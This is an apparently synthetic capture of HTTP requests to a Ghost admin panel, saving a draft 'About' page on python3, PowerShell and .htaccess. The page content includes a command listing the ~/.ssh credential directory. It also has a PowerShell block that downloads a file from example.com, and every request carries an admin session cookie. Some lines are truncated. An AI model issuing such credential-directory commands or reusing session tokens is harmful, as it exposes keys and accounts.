{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & 